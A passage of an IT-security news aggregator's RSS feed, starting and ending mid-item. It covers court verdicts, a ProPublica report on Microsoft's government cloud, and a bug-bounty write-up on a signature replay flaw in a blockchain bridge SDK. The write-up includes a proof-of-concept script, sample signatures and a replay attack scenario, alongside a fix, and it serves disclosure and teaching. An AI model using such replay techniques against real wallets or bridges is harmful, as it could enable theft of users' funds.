if the failures remain minor — a missed click, a stalled task, an unread email. The moment a failure isn't minor, the calculus changes entirely.</p><p>The AI industry has spent the last three years proving that machines can think. Anthropic is now asking a harder question: whether humans are ready to let them act. The answer, for the moment, is a provisional yes — hedged with permissions dialogs, blocklists, and the quiet hope that nothing important gets deleted before the technology catches up to the ambition.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Elon Musk misled investors during his Twitter takeover, jury finds]]></title>
<description><![CDATA[A group of former Twitter investors have prevailed at a federal civil trial over Elon Musk's actions amid his $44 billion acquisition of the social platform in 2022. A jury in San Francisco found Friday that tweets made by Musk about fake accounts on the platform had defrauded investors in the co...]]></description>
<link>https://tsecurity.de/de/3368155/it-nachrichten/elon-musk-misled-investors-during-his-twitter-takeover-jury-finds/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3368155/it-nachrichten/elon-musk-misled-investors-during-his-twitter-takeover-jury-finds/</guid>
<pubDate>Sat, 21 Mar 2026 00:30:54 +0100</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A group of former Twitter investors <a target="_blank" class="link" href="https://www.courthousenews.com/san-francisco-jury-finds-elon-musk-defrauded-twitter-investors-during-44-billion-takeover/" data-i13n="cpos:1;pos:1">have prevailed</a> at a federal civil trial over Elon Musk's actions amid his $44 billion acquisition of the social platform in 2022. A jury in San Francisco found Friday that tweets made by Musk about fake accounts on the platform had defrauded investors in the company. The jury sided with Musk on other allegations in the case. </p><p>It's not yet clear how much Musk will owe in damages as a result of the case but, as the<em> Associated Press </em><a target="_blank" class="link" href="https://www.nbcbayarea.com/news/local/elon-musk-twitter-shareholder-trial-verdict/4055248/" data-i13n="cpos:2;pos:1">reports</a>, it could amount to billions of dollars. Jurors calculated that shareholders should get "between about $3 and $8 per stock per day." </p><p>The class action lawsuit, one of several brought against Musk in the months following his takeover of the company, cited Musk’s tweets about fake accounts on the platform. Facing a sinking Tesla share price in the days after announcing he would buy Twitter for $54.20 a share, the suit said Musk made tweets and statements that were intentionally meant to drive down Twitter's share price in an attempt to renegotiate or exit the deal. </p><p>The suit called out Musk's May 13, 2022, tweet that claimed the Twitter deal was "<a target="_blank" class="link" href="https://www.engadget.com/elon-musk-says-his-deal-to-buy-twitter-is-temporarily-on-hold-105457845.html" data-i13n="cpos:3;pos:1">temporarily on hold</a>" due to the number of fake accounts and bots on the platform, as well as one a few days later that suggested fake accounts might account for more than 20 percent of users. Twitter's stock <a target="_blank" class="link rapid-with-clickid" href="https://shopping.yahoo.com/rdlw?merchantId=2f007401-3eaa-4237-b69b-54ccbe125502&amp;siteId=us-engadget&amp;pageId=1p-autolink&amp;contentUuid=e025947f-547c-4a4c-a95e-cf427948eff2&amp;featureId=text-link&amp;merchantName=The+Wall+Street+Journal&amp;linkText=dropped+significantly&amp;custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy53c2ouY29tL2ZpbmFuY2Uvc3RvY2tzL3R3aXR0ZXItc3RvY2stdHVtYmxlcy1wcmVtYXJrZXQtYWZ0ZXItZWxvbi1tdXNrLXNheXMtZGVhbC1pcy1vbi1ob2xkLTExNjUyNDQ1MTI2P2dhYV9hdD1lYWZzJmdhYV9uPUFXRXRzcWRZeGNrMHhxdEZxOGY4OEFfWTZWYWdfcHEwaUwyUWxabERiN0tRSTRBeUpvUDVTRWJCcHRCdW03RkdBMHMlM0QmZ2FhX3RzPTY5YmRkNTJhJmdhYV9zaWc9NEFHT2xrNVcxbE5DNnpEYzhTZkNTaXVFYlBpTUVTZXVZSFdtUVJ6Sk1VQzAzbGJRSEw2Z2hraEtwUHdoMGFuNi1hWm52a2h1LTFjNkItOW9iN3pYcFElM0QlM0QiLCJjb250ZW50VXVpZCI6ImUwMjU5NDdmLTU0N2MtNGE0Yy1hOTVlLWNmNDI3OTQ4ZWZmMiIsIm9yaWdpbmFsVXJsIjoiaHR0cHM6Ly93d3cud3NqLmNvbS9maW5hbmNlL3N0b2Nrcy90d2l0dGVyLXN0b2NrLXR1bWJsZXMtcHJlbWFya2V0LWFmdGVyLWVsb24tbXVzay1zYXlzLWRlYWwtaXMtb24taG9sZC0xMTY1MjQ0NTEyNj9nYWFfYXQ9ZWFmcyZnYWFfbj1BV0V0c3FkWXhjazB4cXRGcThmODhBX1k2VmFnX3BxMGlMMlFsWmxEYjdLUUk0QXlKb1A1U0ViQnB0QnVtN0ZHQTBzJTNEJmdhYV90cz02OWJkZDUyYSZnYWFfc2lnPTRBR09sazVXMWxOQzZ6RGM4U2ZDU2l1RWJQaU1FU2V1WUhXbVFSekpNVUMwM2xiUUhMNmdoa2hLcFB3aDBhbjYtYVpudmtodS0xYzZCLTlvYjd6WHBRJTNEJTNEIn0&amp;signature=AQAAATe6CUqXB9RyBJXEPxrAhvIlutxiZAa6IpL8IUSS7Z42&amp;gcReferrer=https%3A%2F%2Fwww.wsj.com%2Ffinance%2Fstocks%2Ftwitter-stock-tumbles-premarket-after-elon-musk-says-deal-is-on-hold-11652445126%3Fgaa_at%3Deafs%26gaa_n%3DAWEtsqdYxck0xqtFq8f88A_Y6Vag_pq0iL2QlZlDb7KQI4AyJoP5SEbBptBum7FGA0s%253D%26gaa_ts%3D69bdd52a%26gaa_sig%3D4AGOlk5W1lNC6zDc8SfCSiuEbPiMESeuYHWmQRzJMUC03lbQHL6ghkhKpPwh0an6-aZnvkhu-1c6B-9ob7zXpQ%253D%253D" data-i13n="elm:affiliate_link;sellerN:The Wall Street Journal;elmt:;cpos:4;pos:1" data-original-link="https://www.wsj.com/finance/stocks/twitter-stock-tumbles-premarket-after-elon-musk-says-deal-is-on-hold-11652445126?gaa_at=eafs&amp;gaa_n=AWEtsqdYxck0xqtFq8f88A_Y6Vag_pq0iL2QlZlDb7KQI4AyJoP5SEbBptBum7FGA0s%3D&amp;gaa_ts=69bdd52a&amp;gaa_sig=4AGOlk5W1lNC6zDc8SfCSiuEbPiMESeuYHWmQRzJMUC03lbQHL6ghkhKpPwh0an6-aZnvkhu-1c6B-9ob7zXpQ%3D%3D">dropped significantly </a>following the May 13 tweet.</p><p>During the trial, Musk said the tweets were him "speaking his mind" and maintained that Twitter executives had "lied" about the number of bots on the platform, <a target="_blank" class="link" href="https://www.kqed.org/news/12075332/elon-musk-defends-himself-in-court-over-posts-before-twitter-takeover" data-i13n="cpos:5;pos:1">according to</a> <em>KQED</em>. Former Twitter shareholders, on the other hand, said "they sold shares at deflated prices amid Musk’s public waffling." </p><p>Musk faced several lawsuits during and after his $44 billion takeover of the company. That includes other shareholder lawsuits related to <a target="_blank" class="link" href="https://www.engadget.com/elon-musk-class-action-lawsuit-twitter-013007195.html" data-i13n="cpos:6;pos:1">his delay</a> in disclosing his stake in the company, as well as one from former executives related to unpaid severance benefits (Musk later <a target="_blank" class="link" href="https://www.engadget.com/social-media/elon-musk-and-former-twitter-execs-agree-to-settle-128-million-lawsuit-181915972.html" data-i13n="cpos:7;pos:1">settled</a> those claims). He also <a target="_blank" class="link" href="https://www.engadget.com/elon-musk-tells-twitter-he-wants-to-go-ahead-with-original-deal-report-says-162328496.html" data-i13n="cpos:8;pos:1">narrowly avoided</a> a trial over his attempts to back out of the deal. </p><p><br></p><p></p>This article originally appeared on Engadget at https://www.engadget.com/social-media/elon-musk-misled-investors-during-his-twitter-takeover-jury-finds-232033028.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[How I Found a $1,000 Signature Replay Vulnerability in a Blockchain Bridge SDK]]></title>
<description><![CDATA[A Step-by-Step Journey from Code Review to BountyBy Mohamadisha Shaikh (HackerMD)| Security Researcher | Bug Bounty HunterTL;DR: I discovered a critical signature replay vulnerability in a blockchain bridge SDK that allowed the same cryptographic signature to validate across multiple network chec...]]></description>
<link>https://tsecurity.de/de/3365746/hacking/how-i-found-a-1000-signature-replay-vulnerability-in-a-blockchain-bridge-sdk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3365746/hacking/how-i-found-a-1000-signature-replay-vulnerability-in-a-blockchain-bridge-sdk/</guid>
<pubDate>Fri, 20 Mar 2026 06:35:03 +0100</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u9a7fTGFnfwTMxtk3O92QQ.png"></figure><h3>A Step-by-Step Journey from Code Review to Bounty</h3><p><em>By Mohamadisha Shaikh (HackerMD)| Security Researcher | Bug Bounty Hunter</em></p><blockquote><strong><em>TL;DR:</em></strong><em> I discovered a critical signature replay vulnerability in a blockchain bridge SDK that allowed the same cryptographic signature to validate across multiple network checksum formats. This led to a $1,000 bounty reward after 90 days of persistence, rejections, and technical research.</em></blockquote><h3>🎯 Introduction</h3><p>Bug bounty hunting in blockchain security is not easy. Unlike traditional web vulnerabilities (XSS, SQLi, CSRF), blockchain security requires understanding cryptographic primitives, consensus mechanisms, and cross-chain protocols.</p><p>This is the story of how I found my <strong>first blockchain bug bounty</strong> — a signature replay vulnerability in a production Bridge SDK — and what I learned along the way.</p><h3>🔍 Choosing the Right Target</h3><p>When I started this research, I specifically focused on <strong>blockchain bridge SDKs</strong> because:</p><ol><li><strong>High complexity</strong> = Less competition from other researchers</li><li><strong>High impact</strong> = Cross-chain vulnerabilities affect real funds</li><li><strong>TypeScript/JavaScript</strong> = My strongest language for code review</li><li><strong>Open source</strong> = Full source code available for analysis</li></ol><p>The target was a <strong>blockchain bridge SDK</strong> — software that allows users to move assets between two different blockchain networks (Bitcoin ↔ EVM chain).</p><p><strong>Key files I focused on:</strong></p><pre>src/<br>├── blockchain/blockchain.ts    ← Wallet connections<br>├── client/httpClient.ts        ← HTTP/RPC communication<br>├── utils/validation.ts         ← Input validation logic<br>└── initialization.ts           ← SDK initialization</pre><h3>🧠 Understanding the Codebase</h3><p>Before finding bugs, I spent <strong>2–3 days</strong> just understanding how the SDK works:</p><h3>What does a Bridge SDK do?</h3><pre>User (Bitcoin) → Bridge SDK → Smart Contract → User (EVM Chain)<br>     └── Signs transaction         └── Verifies signature</pre><p>The SDK:</p><ol><li>Connects to user’s wallet (MetaMask/Web3 wallet)</li><li>Creates transaction quotes</li><li>Signs transactions with user’s private key</li><li>Validates signatures before submission</li><li>Communicates with bridge servers via HTTP</li></ol><h3>The Critical Function</h3><p>Inside src/utils/validation.ts, I found the isValidSignature() function — the core of all signature verification in the SDK.</p><pre>// Simplified version of what I found<br>export function isValidSignature(<br>  address: string,<br>  message: string,<br>  signature: string,<br>  isHex: boolean = true<br>): boolean {<br>  // Recovers address from signature<br>  // Then compares with provided address<br>  // BUG: No network-specific validation!<br>}</pre><h3>🚨 The Vulnerability Discovery</h3><h3>Initial Observation</h3><p>While reading the <strong>official test file</strong> (validation.test.ts), I noticed something interesting on lines 330-344:</p><pre>test('return true if the signature is valid regardless <br>      of the address checksum', () =&gt; {<br>  <br>  const signature = 'b00dcad964ab97d965ac...1b'<br>  const address = '0x26f40996671e622A0a6408B24C0e678D93a9eFEA'<br>  const quoteHash = '767aa241ab418dfca0d...'<br>  <br>  const rskChecksumAddress = rskChecksum(address, 31)  // Testnet<br>  const ethChecksumAddress = ethers.utils.getAddress(address)<br><br>// ALL of these pass ✓<br>  expect(isValidSignature(<br>    address.toLowerCase(), quoteHash, signature)<br>  ).toBe(true)<br>  <br>  expect(isValidSignature(<br>    rskChecksumAddress, quoteHash, signature)<br>  ).toBe(true)<br>  <br>  expect(isValidSignature(<br>    ethChecksumAddress, quoteHash, signature)<br>  ).toBe(true)<br>})</pre><p><strong>My initial thought:</strong> “Wait… same signature works for ALL checksum formats? That means Testnet and Mainnet signatures are interchangeable!”</p><h3>🔬 Deep Dive: What is Address Checksum?</h3><p>To understand the vulnerability, you need to understand <strong>EIP-1191</strong> (RSK’s checksum standard):</p><h3>Ethereum (EIP-55):</h3><pre>0x26f40996671e622A0a6408B24C0e678D93a9eFEA</pre><h3>RSK Mainnet (EIP-1191, chainId 30):</h3><pre>0x26f40996671E622A0a6408B24C0e678D93a9eFEA</pre><h3>RSK Testnet (EIP-1191, chainId 31):</h3><pre>0x26F40996671e622A0a6408b24c0E678d93A9EfEA</pre><p><strong>Same address, different capitalization patterns.</strong> The checksum <strong>encodes the network</strong> in the letter casing.</p><p><strong>The bug:</strong> isValidSignature() was normalizing addresses to lowercase BEFORE comparison, effectively <strong>stripping the network information</strong> from the validation process.</p><h3>💻 Building the Proof of Concept</h3><h3>Step 1: Build the Project</h3><pre>git clone https://github.com/[target]/bridges-core-sdk<br>cd bridges-core-sdk<br>npm install<br>npm run build<br># Output: ./lib/index.js</pre><h3>Step 2: Write the PoC</h3><pre>// real_exploit.js<br>const { isValidSignature, rskChecksum } = require('./lib/index.js');<br>const ethers = require('ethers');<br><br>// Real signature from official test suite<br>const signature = 'b00dcad964ab97d965ac473fc8bb8ceb21ce13608cdc44d7b65e9d2d2443d0535a094ec449a18ef1f1a5d91cbee5302cfa9b99556a7de3414c190a1d3e811a5b1b';<br>const quoteHash = '767aa241ab418dfca0d418fef395d85c398a4c70a6ac4ea81429cf18ef4d6038';<br>const address = '0x26f40996671e622A0a6408B24C0e678D93a9eFEA';<br>// Test 1: Lowercase (no network info)<br>const result1 = isValidSignature(address.toLowerCase(), quoteHash, signature);<br>// Test 2: RSK Mainnet checksum (chainId 30)<br>const rskMain = rskChecksum(address, 30);<br>const result2 = isValidSignature(rskMain, quoteHash, signature);<br>// Test 3: RSK Testnet checksum (chainId 31)<br>const rskTest = rskChecksum(address, 31);<br>const result3 = isValidSignature(rskTest, quoteHash, signature);<br>// Test 4: Ethereum checksum<br>const ethCheck = ethers.utils.getAddress(address);<br>const result4 = isValidSignature(ethCheck, quoteHash, signature);<br>console.log(`Lowercase:   ${result1}`);  // true ✓<br>console.log(`RSK Mainnet: ${result2}`);  // true ✓<br>console.log(`RSK Testnet: ${result3}`);  // true ✓<br>console.log(`ETH Checksum: ${result4}`); // true ✓</pre><h3>Step 3: Run and Confirm</h3><pre>node real_exploit.js<br><br># Output:<br>Lowercase:    true ✓<br>RSK Mainnet:  true ✓<br>RSK Testnet:  true ✓<br>ETH Checksum: true ✓<br>[!] VULNERABILITY CONFIRMED!</pre><p><strong>The vulnerability was real and reproducible!</strong></p><h3>📋 Writing the Bug Report</h3><h3>What Makes a Good Blockchain Bug Report?</h3><p>After researching top bug bounty reports, I structured mine as:</p><ol><li><strong>Clear title</strong> — Specific and technical</li><li><strong>Working PoC</strong> — Actual code that runs</li><li><strong>Attack scenario</strong> — Real-world impact</li><li><strong>Evidence</strong> — Source code references</li><li><strong>Recommended fix</strong> — Actionable solution</li></ol><h3>My Attack Scenario</h3><pre>Step 1: User signs transaction on TESTNET<br>        Uses RSK Testnet checksum address<br>        Signature: 0xb00dcad964...<br><br>Step 2: Attacker captures signature<br>        Source: Network monitoring, transaction history<br>Step 3: Attacker replays on MAINNET<br>        Uses lowercase address (strips network info)<br>        Same signature → VALIDATES ✓<br>Step 4: Unintended transaction executes<br>        No additional user signature required</pre><h3>📉 The Rejection… and Comeback</h3><h3>First Response: REJECTED ❌</h3><pre>"The issues you pointed out are based on best practices <br>but they do not affect directly the security of the platform"</pre><p><strong>My reaction:</strong> Disappointed but not defeated.</p><p><strong>My analysis of rejection:</strong></p><ul><li>Report had multiple issues mixed together</li><li>Impact wasn’t demonstrated clearly enough</li><li>Attack scenario needed more specificity</li></ul><h3>10 Days Later: REOPENED ✅</h3><pre>"Regarding the first one, we are running some extra <br>validations. We will reopen this issue."</pre><p><strong>What changed?</strong></p><ul><li>Security team did their own testing</li><li>Confirmed the signature bypass was real</li><li>Title changed to: <em>“isValidSignature() allows signature replay from testnet to mainnet”</em></li></ul><p><strong>Key lesson:</strong> <em>Don’t give up after first rejection!</em></p><h3>💰 Final Verdict: $1,000 Bounty</h3><p><strong>90 days after submission:</strong></p><pre>Status: TRIAGED ✅<br>Severity: Critical → Low (downgraded)<br>Bounty: $1,000 AWARDED 💰<br><br>Reason for downgrade:<br>"Deployment addresses are not the same in testnet <br>and mainnet, so there is no practical attack <br>under those circumstances"</pre><h3>Understanding the Severity Downgrade</h3><p>They downgraded from Critical to Low because:</p><ul><li>Smart contract addresses <strong>differ</strong> between Testnet and Mainnet</li><li>Direct replay attack in <strong>production</strong> is limited</li><li>But the <strong>design flaw exists</strong> at SDK level</li></ul><p><strong>My takeaway:</strong> The vulnerability is real, but practical exploitation requires additional conditions. Always consider deployment context when assessing impact!</p><h3>🎓 Key Lessons Learned</h3><h3>Technical Lessons:</h3><p><strong>1. Understand EIP Standards</strong></p><pre>EIP-55  → Ethereum address checksum<br>EIP-191 → Signed data standard<br>EIP-155 → Replay attack protection (chain ID)<br>EIP-1191 → RSK network checksum</pre><p><strong>2. Chain ID Matters</strong><br> Always check if signatures include chain ID binding:</p><pre>// BAD - No chain binding<br>const sig = await signer.signMessage(hash)<br><br>// GOOD - Chain bound (EIP-155)<br>const sig = await signer.signTransaction({ chainId: 30, ...txData })</pre><p><strong>3. Cross-Chain Security is Hard</strong><br> Bridge protocols are among the most attacked in DeFi:</p><ul><li>Over <strong>$2 billion</strong> stolen from bridges in 2022 alone</li><li>Signature validation is critical attack surface</li><li>Always test cross-chain scenarios</li></ul><h3>Bug Bounty Lessons:</h3><p><strong>1. One Bug Per Report</strong><br> Programs explicitly request this. Multiple bugs = multiple reports = more bounties!</p><p><strong>2. PoC Must Be Production-Like</strong><br> Programs reject theoretical vulnerabilities. Show real impact with working code.</p><p><strong>3. Rejection ≠ Invalid</strong><br> First rejection is often from junior triagers. Politely provide more evidence.</p><p><strong>4. Patience is Key</strong><br> My timeline: 90 days for $1,000. Worth every day!</p><p><strong>5. Communicate Professionally</strong></p><pre>✅ "Could you please provide an update on the validation status?"<br>❌ "Why are you ignoring my report???"</pre><h3>🛠️ Recommended Fix</h3><p>For the SDK developers reading this:</p><pre>// Current (Vulnerable):<br>function isValidSignature(address: string, message: string, sig: string): boolean {<br>  const recovered = ethers.utils.recoverAddress(hash, sig)<br>  return recovered.toLowerCase() === address.toLowerCase() // ← Problem here<br>}<br>// Fixed (Secure):<br>function isValidSignature(<br>  address: string, <br>  message: string, <br>  sig: string,<br>  chainId: number // ← Add chain ID<br>): boolean {<br>  // Validate address checksum matches expected network<br>  const expectedChecksum = rskChecksum(address, chainId)<br>  <br>  const recovered = ethers.utils.recoverAddress(hash, sig)<br>  <br>  // Compare with network-specific checksum (not lowercase)<br>  return rskChecksum(recovered, chainId) === expectedChecksum<br>}</pre><p><strong>Additional recommendations:</strong></p><ol><li>Implement <strong>EIP-155</strong> chain ID binding in all signatures</li><li>Add <strong>network-specific</strong> address validation</li><li>Reject signatures from different network checksums</li><li>Add <strong>nonce</strong> to prevent replay scenarios</li></ol><h3>🔍 Tools I Used</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*PYJUZYHt68yUIYtyv3EuOA.png"></figure><h3>📊 Statistics</h3><pre>Time Spent on Research:    ~2 weeks<br>Days to First Response:    12 days<br>Days to Triage:            72 days<br>Days to Bounty:            90 days<br>Severity:                  Low (downgraded from Critical)<br>Bounty Received:           $1,000 USD<br>Lines of Code Reviewed:    ~500 lines<br>Files Analyzed:            8 core files</pre><h3>🚀 Conclusion</h3><p>Finding my first blockchain bug bounty taught me more than any course or tutorial could. The combination of:</p><ul><li>Deep code review skills</li><li>Cryptographic understanding</li><li>Persistence through rejection</li><li>Professional communication</li></ul><p>…led to a <strong>real security finding</strong> and a <strong>real bounty.</strong></p><p>If you’re starting out in blockchain security:</p><ol><li><strong>Learn the standards</strong> (EIPs, CWEs, blockchain fundamentals)</li><li><strong>Read source code</strong> like a detective</li><li><strong>Build working PoCs</strong> — not theories</li><li><strong>Be patient</strong> — blockchain programs move slowly</li><li><strong>Never give up</strong> after first rejection</li></ol><p><strong>The best bugs are found by those who look deepest.</strong> 🔍</p><h3>About the Author</h3><p>I’m a security researcher and bug bounty hunter from India, specializing in:</p><ul><li>Blockchain/DeFi security</li><li>Smart contract auditing</li><li>Web application penetration testing</li><li>Vulnerability research</li></ul><p><em>Thanks for reading! If this helped you, give it a clap 👏 and follow for more security research writeups.</em></p><p>#BlockchainSecurity #BugBounty #EthicalHacking #Web3Security #CryptographicVulnerability #SecurityResearch #DeFiSecurity #PenTesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/278/1*HgKhY5RQLs00PGc7ntIEfQ.png"></figure><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=61cdf25c901c" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/how-i-found-a-1-000-signature-replay-vulnerability-in-a-blockchain-bridge-sdk-61cdf25c901c">How I Found a $1,000 Signature Replay Vulnerability in a Blockchain Bridge SDK</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple Watch Dodges Import Ban Despite Masimo’s Latest Court Win]]></title>
<description><![CDATA[The ongoing legal war over blood oxygen sensors has taken another complicated turn. A federal appeals court just upheld a previous ruling that Apple violated medical technology company Masimo’s patents. While this sounds like a massive blow to the tech giant, the victory is largely symbolic.



A...]]></description>
<link>https://tsecurity.de/de/3365635/ios-mac-os/apple-watch-dodges-import-ban-despite-masimos-latest-court-win/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3365635/ios-mac-os/apple-watch-dodges-import-ban-despite-masimos-latest-court-win/</guid>
<pubDate>Fri, 20 Mar 2026 05:07:21 +0100</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The ongoing legal war over blood oxygen sensors has taken another complicated turn. A federal appeals court just upheld a previous ruling that Apple violated medical technology company Masimo’s patents. While this sounds like a massive blow to the tech giant, the victory is largely symbolic.



A separate decision from the International Trade Commission ensures that Apple will not face another disruptive import ban in the United States.



The software workaround saves the day



Back in late 2023, the International Trade Commission forced Apple to briefly halt sales of certain smartwatches after concluding the built-in pulse oximeter infringed on Masimo’s intellectual property. Apple initially responded by simply disabling the feature entirely for US customers.



By August 2025, Apple had developed a new technical workaround. The sensors still collect blood oxygen data, but the processing now happens entirely on a paired iPhone rather than the watch itself. Users can only view their results on the phone screen. Apple argued that this shifted process cleared the legal hurdles. The International Trade Commission recently agreed. 



A judge ruled that this specific redesign does not infringe on Masimo’s patents. Masimo had pressured the commission to reject the modification, but the ruling allows Apple to keep selling its wearables without interruption.



There are still ongoing battles and expiring patents



Masimo is not walking away completely empty-handed from this multi-year dispute. The federal appeals court did affirm the original 2023 ruling, validating Masimo’s claims that its patents were violated by earlier implementations. Additionally, Masimo secured a $634 million verdict in a separate federal jury trial last November. Apple maintains that Masimo's allegations are false and is currently appealing the financial penalty.



Both companies are digging in for a long fight, but the clock is ticking on the underlying intellectual property. The specific patents at the center of this controversy are scheduled to expire in less than three years.



Once those protections lapse, Apple will likely be free to restore full on-device blood oxygen processing. For now, American consumers will have to rely on their phones to check their vitals.]]></content:encoded>
</item>
<item>
<title><![CDATA[Afroman Destroys Trump in Landmark “Lemon Poundcake” Verdict]]></title>
<description><![CDATA[Today should become a national American holiday: Lemon Pound Cake Day. An Ohio jury just delivered one of the clearest freedom verdicts in recent memory. It took less than a day to throw out all thirteen claims of defamation, invasion of privacy, the lot, that had been brought by seven Adams Coun...]]></description>
<link>https://tsecurity.de/de/3361374/it-security-nachrichten/afroman-destroys-trump-in-landmark-lemon-poundcake-verdict/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3361374/it-security-nachrichten/afroman-destroys-trump-in-landmark-lemon-poundcake-verdict/</guid>
<pubDate>Thu, 19 Mar 2026 09:36:22 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Today should become a national American holiday: Lemon Pound Cake Day. An Ohio jury just delivered one of the clearest freedom verdicts in recent memory. It took less than a day to throw out all thirteen claims of defamation, invasion of privacy, the lot, that had been brought by seven Adams County sheriff’s deputies against … <a href="https://www.flyingpenguin.com/afroman-destroys-trump-in-landmark-lemon-poundcake-verdict/" class="more-link">Continue reading <span class="screen-reader-text">Afroman Destroys Trump in Landmark “Lemon Poundcake” Verdict</span> <span class="meta-nav">→</span></a>]]></content:encoded>
</item>
<item>
<title><![CDATA[Federal Cyber Experts Called Microsoft's Cloud 'a Pile of Shit', Yet Approved It Anyway]]></title>
<description><![CDATA[ProPublica reports that federal cybersecurity reviewers had serious, yearslong concerns about Microsoft's GCC High cloud offering, yet they approved it anyway because the product was already deeply embedded across government. As one member of the team put it: "The package is a pile of shit." From...]]></description>
<link>https://tsecurity.de/de/3359790/it-security-nachrichten/federal-cyber-experts-called-microsofts-cloud-a-pile-of-shit-yet-approved-it-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3359790/it-security-nachrichten/federal-cyber-experts-called-microsofts-cloud-a-pile-of-shit-yet-approved-it-anyway/</guid>
<pubDate>Wed, 18 Mar 2026 17:05:52 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[ProPublica reports that federal cybersecurity reviewers had serious, yearslong concerns about Microsoft's GCC High cloud offering, yet they approved it anyway because the product was already deeply embedded across government. As one member of the team put it: "The package is a pile of shit." From the report: In late 2024, the federal government's cybersecurity evaluators rendered a troubling verdict on one of Microsoft's biggest cloud computing offerings. The tech giant's "lack of proper detailed security documentation" left reviewers with a "lack of confidence in assessing the system's overall security posture," according to an internal government report reviewed by ProPublica. For years, reviewers said, Microsoft had tried and failed to fully explain how it protects sensitive information in the cloud as it hops from server to server across the digital terrain. Given that and other unknowns, government experts couldn't vouch for the technology's security.
 
Such judgments would be damning for any company seeking to sell its wares to the U.S. government, but it should have been particularly devastating for Microsoft. The tech giant's products had been at the heart of two major cybersecurity attacks against the U.S. in three years. In one, Russian hackers exploited a weakness to steal sensitive data from a number of federal agencies, including the National Nuclear Security Administration. In the other, Chinese hackers infiltrated the email accounts of a Cabinet member and other senior government officials. The federal government could be further exposed if it couldn't verify the cybersecurity of Microsoft's Government Community Cloud High, a suite of cloud-based services intended to safeguard some of the nation's most sensitive information.
 
Yet, in a highly unusual move that still reverberates across Washington, the Federal Risk and Authorization Management Program, or FedRAMP, authorized the product anyway, bestowing what amounts to the federal government's cybersecurity seal of approval. FedRAMP's ruling -- which included a kind of "buyer beware" notice to any federal agency considering GCC High -- helped Microsoft expand a government business empire worth billions of dollars. "BOOM SHAKA LAKA," Richard Wakeman, one of the company's chief security architects, boasted in an online forum, celebrating the milestone with a meme of Leonardo DiCaprio in "The Wolf of Wall Street."
 
It was not the type of outcome that federal policymakers envisioned a decade and a half ago when they embraced the cloud revolution and created FedRAMP to help safeguard the government's cybersecurity. The program's layers of review, which included an assessment by outside experts, were supposed to ensure that service providers like Microsoft could be entrusted with the government's secrets. But ProPublica's investigation -- drawn from internal FedRAMP memos, logs, emails, meeting minutes, and interviews with seven former and current government employees and contractors -- found breakdowns at every juncture of that process. It also found a remarkable deference to Microsoft, even as the company's products and practices were central to two of the most damaging cyberattacks ever carried out against the government.<p></p><div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Federal+Cyber+Experts+Called+Microsoft's+Cloud+'a+Pile+of+Shit'%2C+Yet+Approved+It+Anyway%3A+https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F03%2F18%2F1452232%2F%3Futm_source%3Dtwitter%26utm_medium%3Dtwitter"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Fyro.slashdot.org%2Fstory%2F26%2F03%2F18%2F1452232%2Ffederal-cyber-experts-called-microsofts-cloud-a-pile-of-shit-yet-approved-it-anyway%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>



</div><p><a href="https://yro.slashdot.org/story/26/03/18/1452232/federal-cyber-experts-called-microsofts-cloud-a-pile-of-shit-yet-approved-it-anyway?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[SonicWall, Informants Exposed, Cisco Vishing, Perplexity, GPT‑5, Josh Marpet–SWN #501 - SWN #501]]></title>
<description><![CDATA[This week we have, SonicWall, Confidential Informants Exposed, Cisco Vishing, Perplexity vs robots.txt, Microsoft's Project Ire, Meta–Flo Jury Verdict, GPT‑5 Lands, TeaOnHer Data Leak, Josh Marpet, and more on the Security Weekly News.. Visit https://www.securityweekly.com/swn for all the latest ...]]></description>
<link>https://tsecurity.de/de/3356198/it-security-nachrichten/sonicwall-informants-exposed-cisco-vishing-perplexity-gpt5-josh-marpet-swn-501-swn-501/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3356198/it-security-nachrichten/sonicwall-informants-exposed-cisco-vishing-perplexity-gpt5-josh-marpet-swn-501-swn-501/</guid>
<pubDate>Tue, 17 Mar 2026 17:56:05 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
